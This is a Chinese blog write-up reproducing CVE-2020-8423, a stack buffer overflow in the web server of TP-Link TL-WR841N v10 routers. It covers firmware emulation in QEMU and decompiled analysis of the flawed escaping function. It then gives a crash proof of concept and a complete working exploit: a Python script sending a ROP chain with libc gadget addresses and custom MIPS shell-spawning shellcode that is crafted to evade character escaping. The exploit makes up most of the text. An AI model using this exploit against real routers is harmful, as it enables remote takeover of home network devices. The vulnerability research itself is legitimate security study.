CVE-2020-8423TPLINK WR841N 路由器栈溢出

简介

TP-Link TL-WR841NV10设备上的httpd进程中的缓冲区溢出允许经过身份验证的远程攻击者通过对页的GET请求执行任意代码。
复现这个漏洞的原因是它有一个函数会对shellcode的部分字符进行转义,这就需要修改shellcode绕过转义的部分。

固件下载

先去了中国的tplink官网上,但没有找到v10版本的固件,后来又去日本和美国的官网上也没找到。

后来发现在网址上的tplink/后面可以修改对应的国家,随便改个ca(加拿大)试试,就发现有v10版本了。这也算是多了一种以后找固件的办法。

环境搭建

先关闭aslr,qemu的也要关

1
echo '0' > /proc/sys/kernel/randomize_va_space

用firmadyne尝试仿真,意料之中失败了。所以只能选择用qemu的系统模式尝试运行httpd。为了成功运行环境,必须hook 一些关键函数。编译hook文件,hook掉httpd文件里面的阻塞函数,只需要hook掉system和fork函数即可。

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
int system(const char *command){
    printf("hook:\n");
    return 0;
}

pid_t fork(){
    printf("hook:\n");
}

运行httpd前把hook.so先挂起来,然后开始运行

1
2
3
4
mount --bind /proc ./proc
chroot . sh
export LD_PRELOAD="/hook.so"
httpd

直到运行成这样,然后通过qemu虚拟机的ip在浏览器上进行访问。如果是远程,没有界面可以使用ssh端口转发,然后将浏览器访问设置成127.0.0.1:9000。具体可以看这篇文章

1
ssh -D 127.0.0.1:9000 root@10.10.10.3

初始账号和密码都是admin,可以登录访问。

漏洞分析

漏洞点位置在httpd二进制文件的0x457080位置,ida和Ghidra都没有分析出这个函数是什么,但不影响分析。可以看到这个函数获取get请求的一些参数,在获取ssid的参数时后面用strncpy直接复制长度为ssid的长度。

然后在后面调用了writePageParamSet函数。第二个参数是\"%s\第三个参数是前面strncpy复制到的位置。

在writePageParamSet函数中有一个stringModify函数,第一参数是一个512长度的栈空间,第三个参数是ssid的值。

这是stringModify函数,可以看到这里是对 \,/,<,>这些字符进行转义就是前面加一个/,保存到新的栈空间也就是前面512长度的空间。循环判断结束的条件是(cVar1 == 0) || (iParm2 <= iVar3),每次进行转义的时候iVar3都会相应+1,除了最后面的在考虑前一个是'\r'或'\n'后一个不是'\r'或'\n'的时候会加"<br>"的字符,这里并没有将iVar3增加,所以我们可以通过这里的一个字符变四个字符对512的栈空间长度进行溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int stringModify(char *pcParm1,int iParm2,int iParm3)
{
  char cVar1;
  char *pcVar2;
  int iVar3;
 
  if ((pcParm1 == (char *)0x0) || (pcVar2 = (char *)(iParm3 + 1), iParm3 == 0)) {
    iVar3 = -1;
  }
  else {
    iVar3 = 0;
    while( true ) {
      cVar1 = pcVar2[-1];
      if ((cVar1 == 0) || (iParm2 &lt;= iVar3)) break;
      if (cVar1 == '/') {
LAB_0043bb48:
        *pcParm1 = '\';
LAB_0043bb4c:
        iVar3 = iVar3 + 1;
        pcParm1 = pcParm1 + 1;
LAB_0043bb54:
        *pcParm1 = pcVar2[-1];
        pcParm1 = pcParm1 + 1;
      }
      else {
        if ('/' &lt; cVar1) {
          if ((cVar1 == '>') || (cVar1 == '\')) goto LAB_0043bb48;
          if (cVar1 == '&lt;') {
            *pcParm1 = '\';
            goto LAB_0043bb4c;
          }
          goto LAB_0043bb54;
        }
        if (cVar1 != '\r') {
          if (cVar1 == '"') goto LAB_0043bb48;
          if (cVar1 != '\n') goto LAB_0043bb54;
        }
        if ((*pcVar2 != '\r') &amp;&amp; (*pcVar2 != '\n')) {
          *pcParm1 = '&lt;';
          pcParm1[1] = 'b';
          pcParm1[2] = 'r';
          pcParm1[3] = '>';
          pcParm1 = pcParm1 + 4;
        }
      }
      iVar3 = iVar3 + 1;
      pcVar2 = pcVar2 + 1;
    }
    *pcParm1 = 0;
  }
  return iVar3;
}

用一个poc测试一下。这里的User-Agent、cookie和path根据自己的浏览器进行设置,User-Agent和cookie 。path是每次仿真都会改变。'%0a'和'\n'的意思。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import socket
import socks
import urllib
import struct
from pwn import *

SOCKS5_PROXY_HOST = '127.0.0.1' #socks代理IP地址是用ssh -D进行端口转发需要设置
SOCKS5_PROXY_PORT = 9000
default_socket = socket.socket
socks.set_default_proxy(socks.SOCKS5, SOCKS5_PROXY_HOST, SOCKS5_PROXY_PORT)
socket.socket = socks.socksocket
session = requests.Session()
session.verify = False

payload="/%0A"*0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac"

def exp(cookie):
  headers = {
            "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0",
                "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))}
  params = {
        "mode":"1000",
                "curRegion":"1000",
                "chanWidth":"100",
                "channel":"1000",
                "ssid":urllib.unquote(payload)
        }
  url="http://10.10.10.3/{path}/userRpm/popupSiteSurveyRpm_AP.htm"
  resp = session.get(url,params=params,headers=headers,timeout=10)
  print (resp.text)
exp("%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

然后运行gdbserver附加进程,这里httpd有很多个,选择最后一个。

gdb运行,运行poc,程序崩溃。

重新运行一遍,这次把断点下在stringModify的位置,观察运行stringModify前后的区别。可以看到原来的0x2f0a已经变为0x5c2f3c62723e,整个长度大大增加。

漏洞利用

首先计算下偏移位置。根据writePageParamSet函数的结尾和前面崩溃的位置可以看到位置在'/%0A'*0x55+'a'*2之后就是s0、s1、s2、ra。

保护查一查发现什么都没开。

确定好位置和保护之后开始构造rop。用的是libc.so.0的链。有没有师傅给我看看为什么每次用vmmap看基址都是不显示具体是什么的。只能用/proc/pid/maps查基址

然后通过ida的插件mipsrop直接找rop链。可以看这篇文章。这里要注意一点,每个找到的地址都要和基址加一下看看最后的地址,可能相加之后出现00。

整个payload差不多就这样,这里的p32一定要加endian不然在内存中会倒着显示。

1
2
3
4
5
6
7
8
9
10
11
12
payload="/%0A"*0x55+'aa'
payload+='abcd'                          //s0
payload+=p32(rop2,endian="big")          //s1
payload+=p32(sleep_addr,endian="big")    //s2
payload+=p32(rop1,endian="big")          //ra

payload+='a'*28
payload+=p32(rop4,endian="big")          //s1
payload+='a'*4
payload+=p32(rop3,endian="big")          //ra
payload+='a'*24
payload+=shellcode

最后来处理shellcode的问题。第一个要考虑的问题是长度问题,因为栈空间设置的是512虽然不包括<br>但还是比较少,用上一篇文章的shellcode不行,太长了。所以修改了下把bind和accept直接改成了connect。然后就是字符转义的问题。我看的文章的作者用的是指令逃逸的方法,我先讲我的方法然后再说作者的。

我的方法是考虑到0x3c会被转义,那就把0x3c所对应的指令处理了。从ida的反编译来看0x3c对应的是lui指令,所以要做的就是把lui换个指令替代。这里主要是用lui和ori对一个4字节的进行赋值。如下。

1
2
3
4
5
lw $a0,-1($sp)
lui $t7,0xFFFD
ori $t7,0xD8F0
nor $t7,$t7,$zero  #lui $t7,0x2;ori $t7,0x270F
sw $t7,-16($sp)

我选择的方式是将lui用li代替,虽然这样赋值不到低位,但可以将其存入内存,然后通过内存的覆盖达到高低位的效果。如下,这时候通过访问$sp-14就是和上面一样的内容。这里需要注意的问题就是要先存低位然后再存高位这样高位才会覆盖掉低位不用的2个字节。

1
2
3
4
5
6
li $t7,0xD8F0
nor $t7,$t7,$zero
sw $t7,-14($sp)
li $t7,0xFFFD
nor $t7,$t7,$zero  #lui $t7,0x2;ori $t7,0x270F
sw $t7,-16($sp)

然后是关于/bin/sh中/的转义,可以直接用libc.so.0上的字符,这样还可以减少shellcode的空间。最后修改完的shellcode,我这里设置的是ip和端口是0.0.0.0:9999。这里最后在测试的时候比较极限,差一点就超出长度了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
.global main
main:
  addiu $t6,$zero,-3
  nor $a0,$t6,$zero #addi $a0,$zero,2
  nor $a1,$t6,$zero #addi $a1,$zero,2
  slti $a2,$zero,-1 #lui $a2,0

  addiu $v0,$zero,4183
  syscall 0x40404
  sw $v0,-1($sp)
 
  lw $a0,-1($sp)
  li $t6,0xFFFF
  nor $t6,$t6,$zero  #lui $t6,0
  sw $t6,-10($sp)
  sw $t6,-12($sp)

  #bind(serverfd,(struct sockaddr *)&amp;server,sizeof(server));
  li $t7,0xD8F0
  nor $t7,$t7,$zero
  sw $t7,-14($sp)
  li $t7,0xFFFD
  nor $t7,$t7,$zero  #lui $t7,0x2;ori $t7,0x270F
  sw $t7,-16($sp)

  addiu $a1,$sp,-14
  addiu $t7,$zero,-17
  nor $a2,$t7,$zero #li $a2,16

  addiu $v0,$zero,4170
  syscall 0x40404

  lw $a0,-1($sp)
  slti $a1,$zero,-1 #li $a1,0
  addiu $v0,$zero,4063
  syscall 0x40404

  sltiu $a1,$zero,-1 #li $a1,1
  addiu $v0,$zero,4063
  syscall 0x40404
 
  addiu $t6,$zero,-3
  nor $a1,$t6,$zero #li $a1,2
  addiu $v0,$zero,4063
  syscall 0x40404

  li $t6,0x3d28   #0x77f93d28是/bin/sh字符串所在的地址
  sw $t6,-30($sp)
  li $t6,0x77f9
  sw $t6,-32($sp)
 
  lw $a0,-30($sp)                    
  slti $a1,$zero,-1
  slti $a2,$zero,-1
  addiu $v0,$zero,4011        

  syscall 0x40404

转成机器码之后

1
2
3
4
5
6
7
8
9
10
11
shellcode="\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff"
shellcode+="\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff"
shellcode+="\x34\x0e\xff\xff\x01\xc0\x70\x27\xaf\xae\xff\xf6\xaf\xae\xff\xf4"
shellcode+="\x34\x0f\xd8\xf0\x01\xe0\x78\x27\xaf\xaf\xff\xf2\x34\x0f\xff\xfd"
shellcode+="\x01\xe0\x78\x27\xaf\xaf\xff\xf0\x27\xa5\xff\xf2\x24\x0f\xff\xef"
shellcode+="\x01\xe0\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x8f\xa4\xff\xff"
shellcode+="\x28\x05\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x2c\x05\xff\xff"
shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\xff\xfd\x01\xc0\x28\x27"
shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\x3d\x28\xaf\xae\xff\xe2"
shellcode+="\x24\x0e\x77\xf9\xaf\xae\xff\xe0\x8f\xa4\xff\xe2\x28\x05\xff\xff"
shellcode+="\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"

最后完整的exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests
import socket
import socks
import urllib
import struct
from pwn import *

SOCKS5_PROXY_HOST = '127.0.0.1'
SOCKS5_PROXY_PORT = 9000
default_socket = socket.socket
socks.set_default_proxy(socks.SOCKS5, SOCKS5_PROXY_HOST, SOCKS5_PROXY_PORT)
socket.socket = socks.socksocket
session = requests.Session()
session.verify = False


shellcode="\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff"
shellcode+="\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff"
shellcode+="\x34\x0e\xff\xff\x01\xc0\x70\x27\xaf\xae\xff\xf6\xaf\xae\xff\xf4"
shellcode+="\x34\x0f\xd8\xf0\x01\xe0\x78\x27\xaf\xaf\xff\xf2\x34\x0f\xff\xfd"
shellcode+="\x01\xe0\x78\x27\xaf\xaf\xff\xf0\x27\xa5\xff\xf2\x24\x0f\xff\xef"
shellcode+="\x01\xe0\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x8f\xa4\xff\xff"
shellcode+="\x28\x05\xff\xff\x24\x02\x0f\xdf\x01\x01\x01\x0c\x2c\x05\xff\xff"
shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\xff\xfd\x01\xc0\x28\x27"
shellcode+="\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x0e\x3d\x28\xaf\xae\xff\xe2"
shellcode+="\x24\x0e\x77\xf9\xaf\xae\xff\xe0\x8f\xa4\xff\xe2\x28\x05\xff\xff"
shellcode+="\x28\x06\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c"

base=0x77f3a000
sleep_addr=base+0x0053CA0  

rop1=base+0x00055c60
rop2=base+0x00037470
rop3=base+0x0000E904
rop4=base+0x000374D8

payload="/%0A"*0x55+'aa'
payload+='abcd'
payload+=p32(rop2,endian="big")
payload+=p32(sleep_addr,endian="big")
payload+=p32(rop1,endian="big")

payload+='a'*28
payload+=p32(rop4,endian="big")
payload+='a'*4
payload+=p32(rop3,endian="big")
payload+='a'*24
payload+=shellcode

def exp(cookie):
  headers = {
            "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0",
                "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))}
  params = {
        "mode":"1000",
                "curRegion":"1000",
                "chanWidth":"100",
                "channel":"1000",
                "ssid":urllib.unquote(payload)
        }
  url="http://10.10.10.3/{path}/userRpm/popupSiteSurveyRpm_AP.htm"
  resp = session.get(url,params=params,headers=headers,timeout=10)
  print (resp.text)
exp("%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

运行尝试一下,成功,因为我这里固件其实没有完全仿真成功,所以一直会有报错出现,连通端口后会跟着出现报错,但不代表失败了。还有就是因为前面的shellcode设置的是0.0.0.0所以我在这里用的是本地访问的,修改下上面的ip就可以远程访问了。

关于指令逃逸的方法,针对于lui指令的字节码为0x3c(/)的情况下,使用一些无关指令,如填充ori t3,t3,0xff3c指令时,3c会被编码成 5c3c,那么这时候3c就逃逸到下一个内存空间中,这个3c就可以继续使用了(针对于开头为3c的汇编指令)。

  1. 选择一个无用的寄存器 t3,填充 ori $t3, $t3, 0xff3c。对应的汇编字节码为 "\x35\x6b\xff\x3c"
  2. 结尾的 \x3c 会转义为 \x5c\x3c,\x3c 就会逃逸到下一个内存空间中
  3. 在下一个内存空间中,如果我们需要填充 "\ x3c \ x0f \ x2f \ x2f" //lui $ t7, 0x2f2f 这个语句的话,只需填充 \ x0f \ x2f \ x2f 即可,这样我们就达到了类似指令替换的目的
  4. 对于其他被转义的字符也可以类似的操作。

参考文章

发表评论

邮箱地址不会被公开。 必填项已用*标注

Protected with IP Blacklist CloudIP Blacklist Cloud